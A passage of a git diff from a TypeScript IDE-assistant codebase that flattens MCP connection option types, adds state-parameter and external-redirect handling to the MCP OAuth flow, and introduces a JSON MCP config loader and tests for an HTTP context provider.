expect(conn.options.cwd).toBe("/path/to/working/directory"); } }); it("should create instance with websocket transport", () => { - const options = { + const options: InternalWebsocketMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "websocket" as const, - url: "ws://test.com", - }, + type: "websocket", + url: "ws://test.com", }; const conn = new MCPConnection(options); @@ -69,13 +69,11 @@ describe("MCPConnection", () => { }); it("should create instance with SSE transport", () => { - const options = { + const options: InternalSseMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "sse" as const, - url: "http://test.com/events", - }, + type: "sse", + url: "http://test.com/events", }; const conn = new MCPConnection(options); @@ -84,17 +82,15 @@ describe("MCPConnection", () => { }); it("should create instance with SSE transport and custom headers", () => { - const options = { + const options: InternalSseMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "sse" as const, - url: "http://test.com/events", - requestOptions: { - headers: { - Authorization: "Bearer token123", - "X-Custom-Header": "custom-value", - }, + type: "sse", + url: "http://test.com/events", + requestOptions: { + headers: { + Authorization: "Bearer token123", + "X-Custom-Header": "custom-value", }, }, }; @@ -108,9 +104,8 @@ describe("MCPConnection", () => { const options = { name: "test-mcp", id: "test-id", - transport: { - type: "invalid", - } as any, + type: "invalid" as any, + url: "", }; const conn = new MCPConnection(options); @@ -126,14 +121,12 @@ describe("MCPConnection", () => { describe("getStatus", () => { it("should return current status", () => { - const options = { + const options: InternalStdioMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "stdio" as const, - command: "test", - args: [], - }, + type: "stdio", + command: "test", + args: [], }; const conn = new MCPConnection(options); @@ -153,15 +146,44 @@ describe("MCPConnection", () => { }); }); - describe("connectClient", () => { - const options = { + describe("resolveCwd", () => { + const baseOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "stdio" as const, - command: "test-cmd", - args: [], - }, + type: "stdio" as const, + command: "test-cmd", + args: [], + }; + + it("should return absolute cwd unchanged", async () => { + const conn = new MCPConnection(baseOptions); + + await expect((conn as any).resolveCwd("/tmp/project")).resolves.toBe( + "/tmp/project", + ); + }); + + it("should resolve relative cwd using IDE workspace", async () => { + const ide = {} as any; + const mockResolve = vi + .spyOn(ideUtils, "resolveRelativePathInDir") + .mockResolvedValue("file:///workspace/src"); + const conn = new MCPConnection(baseOptions, { ide }); + + await expect((conn as any).resolveCwd("src")).resolves.toBe( + "/workspace/src", + ); + expect(mockResolve).toHaveBeenCalledWith("src", ide); + }); + }); + + describe("connectClient", () => { + const options: InternalStdioMcpOptions = { + name: "test-mcp", + id: "test-id", + type: "stdio", + command: "test-cmd", + args: [], }; it("should connect successfully", async () => { @@ -282,17 +304,15 @@ describe("MCPConnection", () => { vi.restoreAllMocks(); // Use a command that will definitely fail and produce stderr output - const failingOptions = { + const failingOptions: InternalStdioMcpOptions = { name: "failing-mcp", id: "failing-id", - transport: { - type: "stdio" as const, - command: "node", - args: [ - "-e", - "console.error('Custom error message from stderr'); process.exit(1);", - ], - }, + type: "stdio", + command: "node", + args: [ + "-e", + "console.error('Custom error message from stderr'); process.exit(1);", + ], timeout: 5000, // Give enough time for the command to run and fail }; @@ -315,11 +335,9 @@ describe("MCPConnection", () => { const conn = new MCPConnection({ id: "filesystem", name: "Filesystem", - transport: { - type: "stdio" as const, - command: "npx", - args: ["-y", "@modelcontextprotocol/server-filesystem", "."], - }, + type: "stdio", + command: "npx", + args: ["-y", "@modelcontextprotocol/server-filesystem", "."], }); try { diff --git a/core/context/mcp/MCPManagerSingleton.ts b/core/context/mcp/MCPManagerSingleton.ts index c9dc41929..cac57e1e6 100644 --- a/core/context/mcp/MCPManagerSingleton.ts +++ b/core/context/mcp/MCPManagerSingleton.ts @@ -1,11 +1,6 @@ import { Client } from "@modelcontextprotocol/sdk/client/index.js"; -import { - MCPOptions, - MCPServerStatus, - StdioOptions, - TransportOptions, -} from "../.."; +import { InternalMcpOptions, MCPServerStatus } from "../.."; import MCPConnection, { MCPExtras } from "./MCPConnection"; export class MCPManagerSingleton { @@ -25,7 +20,23 @@ export class MCPManagerSingleton { return MCPManagerSingleton.instance; } - createConnection(id: string, options: MCPOptions): MCPConnection { + async setEnabled(serverId: string, enabled: boolean) { + const conn = this.connections.get(serverId); + if (conn) { + if (enabled) { + conn.status = "not-connected"; + await this.refreshConnection(serverId); + } else { + try { + await conn.disconnect(true); + } catch (e) { + console.error(`Error disconnecting from MCP server ${serverId}`, e); + } + } + } + } + + createConnection(id: string, options: InternalMcpOptions): MCPConnection { if (this.connections.has(id)) { return this.connections.get(id)!; } else { @@ -39,15 +50,6 @@ export class MCPManagerSingleton { return this.connections.get(id); } - async removeConnection(id: string) { - const connection = this.connections.get(id); - if (connection) { - await connection.client.close(); - } - - this.connections.delete(id); - } - async shutdown() { if (this.connections.size > 0) { await Promise.allSettled( @@ -64,7 +66,7 @@ export class MCPManagerSingleton { } setConnections( - servers: MCPOptions[], + servers: InternalMcpOptions[], forceRefresh: boolean, extras?: MCPExtras, ) { @@ -76,11 +78,7 @@ export class MCPManagerSingleton { !servers.find( // Refresh the connection if TransportOptions changed (s) => - s.id === id && - this.compareTransportOptions( - connection.options.transport, - s.transport, - ), + s.id === id && this.compareTransportOptions(connection.options, s), ) ) { refresh = true; @@ -111,33 +109,35 @@ export class MCPManagerSingleton { } private compareTransportOptions( - a: TransportOptions, - b: TransportOptions, + a: InternalMcpOptions, + b: InternalMcpOptions, ): boolean { if (a.type !== b.type) { return false; } - if (a.type === "stdio" && b.type === "stdio") { + if ("command" in a && "command" in b) { return ( a.command === b.command && JSON.stringify(a.args) === JSON.stringify(b.args) && - this.compareEnv(a, b) + this.compareEnv(a.env, b.env) ); - } else if (a.type !== "stdio" && b.type !== "stdio") { + } else if ("url" in a && "url" in b) { return a.url === b.url; } return false; } - private compareEnv(a: StdioOptions, b: StdioOptions): boolean { - const aEnv = a.env ?? {}; - const bEnv = b.env ?? {}; - const aKeys = Object.keys(aEnv); - const bKeys = Object.keys(bEnv); + private compareEnv( + aEnv: Record | undefined, + bEnv: Record | undefined, + ): boolean { + const a = aEnv ?? {}; + const b = bEnv ?? {}; + const aKeys = Object.keys(a); + const bKeys = Object.keys(b); return ( - aKeys.length === bKeys.length && - aKeys.every((key) => aEnv[key] === bEnv[key]) + aKeys.length === bKeys.length && aKeys.every((key) => a[key] === b[key]) ); } @@ -181,8 +181,8 @@ export class MCPManagerSingleton { })); } - setStatus(server: MCPServerStatus, status: MCPServerStatus["status"]) { - this.connections.get(server.id)!.status = status; + setStatus(serverId: string, status: MCPServerStatus["status"]) { + this.connections.get(serverId)!.status = status; } async getPrompt( diff --git a/core/context/mcp/MCPManagerSingleton.vitest.ts b/core/context/mcp/MCPManagerSingleton.vitest.ts index f361c13a1..96d4c78e5 100644 --- a/core/context/mcp/MCPManagerSingleton.vitest.ts +++ b/core/context/mcp/MCPManagerSingleton.vitest.ts @@ -1,11 +1,11 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import { MCPOptions } from "../.."; +import { InternalMcpOptions } from "../.."; import MCPConnection from "./MCPConnection"; import { MCPManagerSingleton } from "./MCPManagerSingleton"; // Create test versions with stubbed behavior class TestMCPConnection extends MCPConnection { - constructor(options: MCPOptions) { + constructor(options: InternalMcpOptions) { super(options); // Override with test implementations @@ -28,14 +28,12 @@ class TestMCPConnection extends MCPConnection { describe("MCPManagerSingleton", () => { let manager: MCPManagerSingleton; - const testOptions: MCPOptions = { + const testOptions: InternalMcpOptions = { name: "test-mcp", id: "test-id", - transport: { - type: "stdio", - command: "test-command", - args: [], - }, + type: "stdio", + command: "test-command", + args: [], }; beforeEach(() => { @@ -53,7 +51,7 @@ describe("MCPManagerSingleton", () => { // Override createConnection to use our TestMCPConnection manager.createConnection = function ( id: string, - options: MCPOptions, + options: InternalMcpOptions, ): MCPConnection { if (this.connections.has(id)) { return this.connections.get(id)!; @@ -96,28 +94,6 @@ describe("MCPManagerSingleton", () => { }); }); - describe("removeConnection", () => { - it("should remove connection and close client", async () => { - // Create a spy on the close method - const connection = manager.createConnection( - "test-id", - testOptions, - ) as TestMCPConnection; - const closeSpy = vi.spyOn(connection.client, "close"); - - await manager.removeConnection("test-id"); - - expect(closeSpy).toHaveBeenCalled(); - expect(manager.getConnection("test-id")).toBeUndefined(); - }); - - it("should handle non-existent connection", async () => { - await expect( - manager.removeConnection("non-existent"), - ).resolves.toBeUndefined(); - }); - }); - describe("setConnections", () => { it("should add new connections", () => { const servers = [testOptions]; diff --git a/core/context/mcp/MCPOauth.ts b/core/context/mcp/MCPOauth.ts index 0b711082f..520aa601b 100644 --- a/core/context/mcp/MCPOauth.ts +++ b/core/context/mcp/MCPOauth.ts @@ -8,69 +8,123 @@ import { OAuthTokens, OAuthTokensSchema, } from "@modelcontextprotocol/sdk/shared/auth.js"; -import { IDE, MCPServerStatus, SSEOptions } from "../.."; +import { IDE } from "../.."; import http from "http"; import url from "url"; +import { v4 as uuidv4 } from "uuid"; import { GlobalContext, GlobalContextType } from "../../util/GlobalContext"; -let authenticatingMCPContext = null as { - authenticatingServer: MCPServerStatus; +// Use a Map to support concurrent authentications for different servers +interface MCPOauthContext { + serverId: string; ide: IDE; -} | null; + state?: string; +} +const authenticatingContexts = new Map(); + +// Map state parameters to server URLs for OAuth callback matching +const stateToServerUrl = new Map(); const PORT = 3000; -const server = http.createServer((req, res) => { - try { - if (!req.url) { - throw new Error("no url found"); - } +let serverInstance: http.Server | null = null; - const parsedUrl = url.parse(req.url, true); - if (!parsedUrl.query["code"]) { - throw new Error("no query params found"); - } +const createServerForOAuth = () => + http.createServer((req, res) => { + try { + if (!req.url) { + throw new Error("no url found"); + } - void handleMCPOauthCode(parsedUrl.query["code"] as string); + const parsedUrl = url.parse(req.url, true); + if (!parsedUrl.query["code"]) { + throw new Error("no query params found"); + } - const html = ` + const code = parsedUrl.query["code"] as string; + const state = parsedUrl.query["state"] as string | undefined; + + void handleMCPOauthCode(code, state); + + const html = ` Authentication Complete Authentication Complete. You can close this page now. `; - res.writeHead(200, { - "Content-Type": "text/html", - }); - res.end(html); - } catch (error) { - res.writeHead(400, { "Content-Type": "text/plain" }); - res.end(`Unexpected redirect error: ${(error as Error).message}`); - } -}); + res.writeHead(200, { + "Content-Type": "text/html", + }); + res.end(html); + } catch (error) { + res.writeHead(400, { "Content-Type": "text/plain" }); + res.end(`Unexpected redirect error: ${(error as Error).message}`); + } + }); type MCPOauthStorage = GlobalContextType["mcpOauthStorage"][string]; type MCPOauthStorageKey = keyof MCPOauthStorage; class MCPConnectionOauthProvider implements OAuthClientProvider { private globalContext: GlobalContext; + private _redirectUrl: string; + private _redirectUrlInitialized: Promise; constructor( public oauthServerUrl: string, private ide: IDE, ) { this.globalContext = new GlobalContext(); + // Set default redirect URL immediately for synchronous access + this._redirectUrl = `http://localhost:${PORT}`; + // Initialize actual redirect URL asynchronously + this._redirectUrlInitialized = this._initializeRedirectUrl(); + } + + private async _initializeRedirectUrl(): Promise { + try { + // If IDE supports getExternalUri (VS Code extension), use it for dynamic redirect URI + if (this.ide.getExternalUri) { + const localUri = `http://localhost:${PORT}`; + const externalUri = await this.ide.getExternalUri(localUri); + this._redirectUrl = externalUri; + } + // Otherwise keep the default localhost URL + } catch (error) { + console.error("Failed to initialize redirect URL:", error); + // Keep default URL on error + } } get redirectUrl() { - return `http://localhost:${PORT}`; // TODO: this has to be a hub url or should we spin up a server? + // Always return a valid URL, even if initialization is pending + return this._redirectUrl; + } + + getRedirectUrlWithState(state: string): string { + // Add state parameter to redirect URL + const urlObj = new URL(this._redirectUrl); + urlObj.searchParams.set("state", state); + return urlObj.toString(); + } + + async ensureRedirectUrl(): Promise { + // Wait for initialization to complete before returning + await this._redirectUrlInitialized; + return this._redirectUrl; } get clientMetadata() { + // Generate state parameter if needed + const state = authenticatingContexts.get(this.oauthServerUrl)?.state; + const redirectUri = state + ? this.getRedirectUrlWithState(state) + : this.redirectUrl; + return { - redirect_uris: [this.redirectUrl], + redirect_uris: [redirectUri], token_endpoint_auth_method: "none", grant_types: ["authorization_code", "refresh_token"], response_types: ["code"], @@ -151,14 +205,28 @@ class MCPConnectionOauthProvider implements OAuthClientProvider { } async redirectToAuthorization(authorizationUrl: URL) { - if (!server.listening) { - server.listen(PORT, () => { - console.debug( - `Server started for MCP Oauth process at http://localhost:${PORT}/`, - ); - }); + // Ensure redirect URL is initialized before proceeding + await this.ensureRedirectUrl(); + + // Only create and start local server if using localhost redirect + // For web-based VS Code, the redirect will be handled by VS Code's built-in mechanism + if (!this.ide.getExternalUri || this._redirectUrl.includes("localhost")) { + if (!serverInstance) { + serverInstance = createServerForOAuth(); + } + if (!serverInstance.listening) { + await new Promise((resolve, reject) => { + serverInstance!.listen(PORT, () => { + console.debug( + `Server started for MCP Oauth process at http://localhost:${PORT}/`, + ); + resolve(); + }); + serverInstance!.on("error", reject); + }); + } } - void this.ide.openUrl(authorizationUrl.toString()); + await this.ide.openUrl(authorizationUrl.toString()); } } @@ -172,56 +240,110 @@ export async function getOauthToken(mcpServerUrl: string, ide: IDE) { * checks if the authentication is already done for the current server * if not, starts the authentication process by opening a webpage url */ -export async function performAuth(mcpServer: MCPServerStatus, ide: IDE) { - const mcpServerUrl = (mcpServer.transport as SSEOptions).url; - const authProvider = new MCPConnectionOauthProvider(mcpServerUrl, ide); - authenticatingMCPContext = { - authenticatingServer: mcpServer, +export async function performAuth(serverId: string, url: string, ide: IDE) { + const authProvider = new MCPConnectionOauthProvider(url, ide); + // Ensure redirect URL is ready before starting auth + await authProvider.ensureRedirectUrl(); + + // Generate a unique state parameter for this auth flow + const state = uuidv4(); + + // Store context for this specific server with state + authenticatingContexts.set(url, { + serverId, ide, - }; - return await auth(authProvider, { - serverUrl: mcpServerUrl, + state, }); + + // Map state to server URL for callback matching + stateToServerUrl.set(state, url); + + try { + return await auth(authProvider, { + serverUrl: url, + }); + } catch (error) { + // Clean up on error + authenticatingContexts.delete(url); + stateToServerUrl.delete(state); + throw error; + } } /** * handle the authentication code received from the oauth redirect */ -async function handleMCPOauthCode(authorizationCode: string) { - if (!authenticatingMCPContext) { - return; - } - const { ide, authenticatingServer } = authenticatingMCPContext; - const serverUrl = (authenticatingServer.transport as SSEOptions).url; +async function handleMCPOauthCode(authorizationCode: string, state?: string) { + let serverUrl: string | undefined; + let context: MCPOauthContext | undefined; - if (!serverUrl) { - void ide.showToast("error", "No MCP server url found for authentication"); + if (state) { + // Use state parameter to find the correct server + serverUrl = stateToServerUrl.get(state); + if (serverUrl) { + context = authenticatingContexts.get(serverUrl); + } + } else { + // Fallback: if no state or single context, use the first one + const contexts = Array.from(authenticatingContexts.entries()); + if (contexts.length === 1) { + [serverUrl, context] = contexts[0]; + } + } + + if (!context || !serverUrl) { + console.error("No matching authenticating context found for state:", state); return; } - if (!authorizationCode) { - void ide.showToast( - "error", - `No MCP authorization code found for ${serverUrl}`, - ); - return; + + const { ide, serverId } = context; + + try { + if (!serverUrl) { + throw new Error("No MCP server url found for authentication"); + } + if (!authorizationCode) { + throw new Error(`No MCP authorization code found for ${serverUrl}`); + } + + // Close the server before processing auth + if (serverInstance) { + await new Promise((resolve) => { + serverInstance!.close(() => { + console.debug("Server for MCP Oauth process was closed"); + serverInstance = null; + resolve(); + }); + }); + } + + const authProvider = new MCPConnectionOauthProvider(serverUrl, ide); + await authProvider.ensureRedirectUrl(); + const authStatus = await auth(authProvider, { + serverUrl, + authorizationCode, + }); + + if (authStatus === "AUTHORIZED") { + const { MCPManagerSingleton } = await import("./MCPManagerSingleton"); // put dynamic import to avoid cyclic imports + await MCPManagerSingleton.getInstance().refreshConnection(serverId); + } + } catch (error) { + const errorMessage = error instanceof Error ? error.message : String(error); + console.error("OAuth authorization failed:", errorMessage); + if (context?.ide) { + await context.ide.showToast("error", `OAuth failed: ${errorMessage}`); + } + } finally { + // Always clean up the context and state mapping + authenticatingContexts.delete(serverUrl); + if (state) { + stateToServerUrl.delete(state); + } } - server.close(() => console.debug("Server for MCP Oauth process was closed")); - const authProvider = new MCPConnectionOauthProvider(serverUrl, ide); - const authStatus = await auth(authProvider, { - serverUrl, - authorizationCode, - }); - if (authStatus === "AUTHORIZED") { - const { MCPManagerSingleton } = await import("./MCPManagerSingleton"); // put dynamic import to avoid cyclic imports - await MCPManagerSingleton.getInstance().refreshConnection( - authenticatingServer.id, - ); - } - authenticatingMCPContext = null; } -export function removeMCPAuth(mcpServer: MCPServerStatus, ide: IDE) { - const mcpServerUrl = (mcpServer.transport as SSEOptions).url; - const authProvider = new MCPConnectionOauthProvider(mcpServerUrl, ide); +export function removeMCPAuth(url: string, ide: IDE) { + const authProvider = new MCPConnectionOauthProvider(url, ide); authProvider.clear(); } diff --git a/core/context/mcp/MCPOauth.vitest.ts b/core/context/mcp/MCPOauth.vitest.ts index 44deff10b..3ba7bc190 100644 --- a/core/context/mcp/MCPOauth.vitest.ts +++ b/core/context/mcp/MCPOauth.vitest.ts @@ -21,7 +21,8 @@ vi.mock("./MCPManagerSingleton", () => ({ describe("MCPOauth", () => { let globalContextFilePath: string; let mockIde: any; - let mockMcpServer: any; + let mockMcpServerId: string; + let mockMcpServerUrl: string; beforeEach(() => { // file is present in the core/test directory @@ -33,15 +34,11 @@ describe("MCPOauth", () => { mockIde = { openUrl: vi.fn(), showToast: vi.fn(), + getExternalUri: vi.fn((uri) => Promise.resolve(uri)), }; - mockMcpServer = { - id: "test-server", - transport: { - type: "sse", - url: "https://test-server.com", - }, - }; + mockMcpServerId = "test-server"; + mockMcpServerUrl = "https://test-server.com"; vi.clearAllMocks(); }); @@ -106,7 +103,11 @@ describe("MCPOauth", () => { const mockAuth = vi.mocked(auth); mockAuth.mockResolvedValue("AUTHORIZED"); - const result = await performAuth(mockMcpServer, mockIde); + const result = await performAuth( + mockMcpServerId, + mockMcpServerUrl, + mockIde, + ); expect(mockAuth).toHaveBeenCalledWith( expect.any(Object), // MCPConnectionOauthProvider instance @@ -141,7 +142,7 @@ describe("MCPOauth", () => { }, }); - removeMCPAuth(mockMcpServer, mockIde); + removeMCPAuth(mockMcpServerUrl, mockIde); const updatedStorage = globalContext.get("mcpOauthStorage"); expect(updatedStorage).toEqual({ @@ -165,7 +166,7 @@ describe("MCPOauth", () => { }, }); - removeMCPAuth(mockMcpServer, mockIde); + removeMCPAuth(mockMcpServerUrl, mockIde); const updatedStorage = globalContext.get("mcpOauthStorage"); expect(updatedStorage).toEqual({ @@ -178,4 +179,122 @@ describe("MCPOauth", () => { }); }); }); + + describe("redirect URL handling", () => { + test("should use getExternalUri when available for VS Code", async () => { + const vscodeIde = { + ...mockIde, + getExternalUri: vi.fn((uri) => + Promise.resolve("https://vscode.dev/redirect"), + ), + }; + + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + mockAuth.mockResolvedValue("AUTHORIZED"); + + await performAuth(mockMcpServerId, mockMcpServerUrl, vscodeIde); + + expect(vscodeIde.getExternalUri).toHaveBeenCalledWith( + "http://localhost:3000", + ); + }); + + test("should fallback to localhost when getExternalUri is not available", async () => { + const ideWithoutExternalUri = { + openUrl: vi.fn(() => Promise.resolve()), + showToast: vi.fn(() => Promise.resolve()), + }; + + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + mockAuth.mockResolvedValue("AUTHORIZED"); + + await performAuth( + mockMcpServerId, + mockMcpServerUrl, + ideWithoutExternalUri as any, + ); + + // Should still work without getExternalUri + expect(mockAuth).toHaveBeenCalled(); + }); + + test("should handle getExternalUri errors gracefully", async () => { + const errorIde = { + ...mockIde, + getExternalUri: vi.fn(() => Promise.reject(new Error("Network error"))), + }; + + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + mockAuth.mockResolvedValue("AUTHORIZED"); + + // Should not throw, should fallback to localhost + await performAuth(mockMcpServerId, mockMcpServerUrl, errorIde); + + expect(mockAuth).toHaveBeenCalled(); + }); + }); + + describe("concurrent authentication", () => { + test("should handle multiple concurrent auth flows", async () => { + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + mockAuth.mockResolvedValue("AUTHORIZED"); + + // Start two auth flows concurrently + const [result1, result2] = await Promise.all([ + performAuth("server-1-id", "https://server1.com", mockIde), + performAuth("server-2-id", "https://server2.com", mockIde), + ]); + + expect(result1).toBe("AUTHORIZED"); + expect(result2).toBe("AUTHORIZED"); + expect(mockAuth).toHaveBeenCalledTimes(2); + }); + }); + + describe("error handling", () => { + test("should clean up context on auth failure", async () => { + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + + // First successful call to set up the context + mockAuth.mockResolvedValueOnce("AUTHORIZED"); + await performAuth(mockMcpServerId, mockMcpServerUrl, mockIde); + + // Reset mock for the failure test + mockAuth.mockRejectedValueOnce(new Error("Auth failed")); + + // Second call that should fail and clean up + await expect( + performAuth(mockMcpServerId, mockMcpServerUrl, mockIde), + ).rejects.toThrow("Auth failed"); + + // Verify auth was called twice + expect(mockAuth).toHaveBeenCalledTimes(2); + + // The context cleanup happens internally in performAuth's catch block + // We can verify it indirectly by checking that a subsequent auth call works + mockAuth.mockResolvedValueOnce("AUTHORIZED"); + const result = await performAuth( + mockMcpServerId, + mockMcpServerUrl, + mockIde, + ); + expect(result).toBe("AUTHORIZED"); + }); + + test("should handle missing server URL", async () => { + const { auth } = await import("@modelcontextprotocol/sdk/client/auth.js"); + const mockAuth = vi.mocked(auth); + mockAuth.mockResolvedValue("AUTHORIZED"); + + await performAuth("invalid-id", "", mockIde); + + // Should still attempt auth with empty URL + expect(mockAuth).toHaveBeenCalled(); + }); + }); }); diff --git a/core/context/mcp/json/loadJsonMcpConfigs.ts b/core/context/mcp/json/loadJsonMcpConfigs.ts new file mode 100644 index 000000000..5600a27ee --- /dev/null +++ b/core/context/mcp/json/loadJsonMcpConfigs.ts @@ -0,0 +1,205 @@ +import { + claudeCodeLikeConfigFileSchema, + claudeDesktopLikeConfigFileSchema, + ConfigValidationError, + convertJsonMcpConfigToYamlMcpConfig, + McpJsonConfig, + mcpServersJsonSchema, + RequestOptions, +} from "@continuedev/config-yaml"; +import * as JSONC from "comment-json"; +import ignore from "ignore"; +import { IDE, InternalMcpOptions } from "../../.."; +import { convertYamlMcpConfigToInternalMcpOptions } from "../../../config/yaml/yamlToContinueConfig"; +import { + DEFAULT_IGNORE_DIRS, + DEFAULT_IGNORE_FILETYPES, +} from "../../../indexing/ignore"; +import { walkDir } from "../../../indexing/walkDir"; +import { deduplicateArray } from "../../../util"; +import { getGlobalFolderWithName } from "../../../util/paths"; +import { localPathToUri } from "../../../util/pathToUri"; +import { getUriPathBasename, joinPathsToUri } from "../../../util/uri"; + +/** + * Loads MCP configs from JSON files in ~/.continue/mcpServers and workspace .continue/mcpServers + */ +export async function loadJsonMcpConfigs( + ide: IDE, + includeGlobal: boolean, + globalRequestOptions: RequestOptions | undefined = undefined, +): Promise<{ + mcpServers: InternalMcpOptions[]; + errors: ConfigValidationError[]; +}> { + const errors: ConfigValidationError[] = []; + + // Get dirs + const workspaceDirs = await ide.getWorkspaceDirs(); + const mcpDirs = workspaceDirs.map((dir) => + joinPathsToUri(dir, ".continue", "mcpServers"), + ); + if (includeGlobal) { + mcpDirs.push(localPathToUri(getGlobalFolderWithName("mcpServers"))); + } + + // Get json files and their contents + const overrideDefaultIgnores = ignore() + .add( + DEFAULT_IGNORE_FILETYPES.filter( + (val) => !["config.json", "settings.json"].includes(val), + ), + ) + .add(DEFAULT_IGNORE_DIRS); + + const jsonFiles: { uri: string; content: string }[] = []; + + await Promise.all( + mcpDirs.map(async (dir) => { + const exists = await ide.fileExists(dir); + if (!exists) { + return; + } + try { + const uris = await walkDir(dir, ide, { + overrideDefaultIgnores, + source: "get mcp json files", + }); + const jsonUris = uris.filter((uri) => uri.endsWith(".json")); + await Promise.all( + jsonUris.map(async (uri) => { + try { + const content = await ide.readFile(uri); + jsonFiles.push({ uri, content }); + } catch (e) { + errors.push({ + fatal: false, + message: `Failed to read MCP server JSON file at ${uri}: ${e instanceof Error ? e.message : String(e)}`, + }); + } + }), + ); + } catch (e) { + errors.push({ + fatal: false, + message: `Failed to check for MCP JSON files in ${dir}: ${e instanceof Error ? e.message : String(e)}`, + }); + } + }), + ); + + const validJsonConfigs: { + name: string; + mcpJson: McpJsonConfig; + uri: string; + }[] = []; + for (const { content, uri } of jsonFiles) { + try { + const json = JSONC.parse(content); + // Try parsing as a file with mcpServers and multiple servers (claude code/desktop-esque format) + const claudeCodeFileParsed = + claudeCodeLikeConfigFileSchema.safeParse(json); + if (claudeCodeFileParsed.success) { + if (claudeCodeFileParsed.data.mcpServers) { + validJsonConfigs.push( + ...Object.entries(claudeCodeFileParsed.data.mcpServers).map( + ([name, mcpJson]) => ({ + name, + mcpJson, + uri, + }), + ), + ); + } + const projectServers = Object.values( + claudeCodeFileParsed.data.projects, + ).map((v) => v.mcpServers); + for (const mcpServers of projectServers) { + if (mcpServers) { + validJsonConfigs.push( + ...Object.entries(mcpServers).map(([name, mcpJson]) => ({ + name, + mcpJson, + uri, + })), + ); + } + } + } else { + const claudeDesktopFileParsed = + claudeDesktopLikeConfigFileSchema.safeParse(json); + if (claudeDesktopFileParsed.success) { + validJsonConfigs.push( + ...Object.entries(claudeDesktopFileParsed.data.mcpServers).map( + ([name, mcpJson]) => ({ + name, + mcpJson, + uri, + }), + ), + ); + } else { + // Try parsing as single JSON file + const singleConfigParsed = mcpServersJsonSchema.safeParse(json); + if (singleConfigParsed.success) { + validJsonConfigs.push({ + mcpJson: singleConfigParsed.data, + name: getUriPathBasename(uri).replace(".json", ""), + uri, + }); + } else { + errors.push({ + fatal: false, + message: `MCP JSON file at ${uri} doesn't match a supported MCP JSON configuration format`, + }); + } + } + } + } catch (e) { + errors.push({ + fatal: false, + message: `Error parsing MCP JSON file at ${uri}: ${e instanceof Error ? e.message : String(e)}`, + }); + } + } + + // De-duplicate + const deduplicatedJsonConfigs = deduplicateArray( + validJsonConfigs, + (a, b) => a.name === b.name, + ); + + // Two levels of conversion for now. + const yamlConfigs = deduplicatedJsonConfigs.map((c) => { + const { warnings, yamlConfig } = convertJsonMcpConfigToYamlMcpConfig( + c.name, + c.mcpJson, + ); + return { + warnings, + yamlConfig: { + ...yamlConfig, + sourceFile: c.uri, + }, + }; + }); + + const mcpServers = yamlConfigs.map((c) => { + errors.push( + ...c.warnings.map((warning) => ({ + fatal: false, + message: warning, + uri: c.yamlConfig.sourceFile, + })), + ); + return convertYamlMcpConfigToInternalMcpOptions( + c.yamlConfig, + globalRequestOptions, + ); + }); + // Parse and convert files + return { + mcpServers, + errors, + }; +} diff --git a/core/context/providers/HttpContextProvider.test.ts b/core/context/providers/HttpContextProvider.test.ts new file mode 100644 index 000000000..aa56e4aa6 --- /dev/null +++ b/core/context/providers/HttpContextProvider.test.ts @@ -0,0 +1,206 @@ +/** + * Tests for HttpContextProvider - specifically testing the fix for v1.0.19 + * where missing or null uri fields in server responses caused TypeErrors. + * + * The fix uses conditional access (item.uri &&) to safely handle null/undefined uri fields. + */ +import { ContextProviderExtras } from "../../index.js"; +import HttpContextProvider from "./HttpContextProvider.js"; + +describe("HttpContextProvider", () => { + let provider: HttpContextProvider; + let mockExtras: ContextProviderExtras; + + beforeEach(() => { + provider = new HttpContextProvider({ + title: "Test HTTP Provider", + url: "http://localhost:3000/context", + }); + + mockExtras = { + fullInput: "test input", + fetch: jest.fn(), + ide: { + getCurrentFile: jest.fn().mockResolvedValue({ path: "/test/file.ts" }), + getWorkspaceDirs: jest.fn().mockResolvedValue(["/test/"]), + } as any, + config: {} as any, + embeddingsProvider: null, + reranker: null, + llm: {} as any, + selectedCode: [], + isInAgentMode: false, + }; + }); + + describe("getContextItems", () => { + it("should handle response with valid uri field", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue({ + description: "Test item", + content: "Test content", + name: "Test", + uri: { + type: "file", + value: "/test/file.ts", + }, + }), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + expect(result).toHaveLength(1); + expect(result[0]).toEqual({ + description: "Test item", + content: "Test content", + name: "Test", + uri: { + type: "file", + value: "/test/file.ts", + }, + }); + }); + + it("should handle response with null uri field", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue({ + description: "Test item", + content: "Test content", + name: "Test", + uri: null, + }), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + expect(result).toHaveLength(1); + expect(result[0]).toEqual({ + description: "Test item", + content: "Test content", + name: "Test", + uri: null, // Should be null when uri is null (logical AND with null returns null) + }); + }); + ``; + + it("should handle response with missing uri field", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue({ + description: "Test item", + content: "Test content", + name: "Test", + // uri field is completely missing + }), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + expect(result).toHaveLength(1); + expect(result[0]).toEqual({ + description: "Test item", + content: "Test content", + name: "Test", + uri: undefined, // Should be undefined when uri is missing + }); + }); + + it("should handle array response with mixed uri fields", async () => { + const mockResponse = { + json: jest.fn().mockResolvedValue([ + { + description: "Item with uri", + content: "Content 1", + name: "Item1", + uri: { + type: "file", + value: "/test/file1.ts", + }, + }, + { + description: "Item without uri", + content: "Content 2", + name: "Item2", + // uri field missing + }, + { + description: "Item with null uri", + content: "Content 3", + name: "Item3", + uri: null, + }, + ]), + }; + + (mockExtras.fetch as jest.Mock).mockResolvedValue(mockResponse); + + const result = await provider.getContextItems("test query", mockExtras); + + 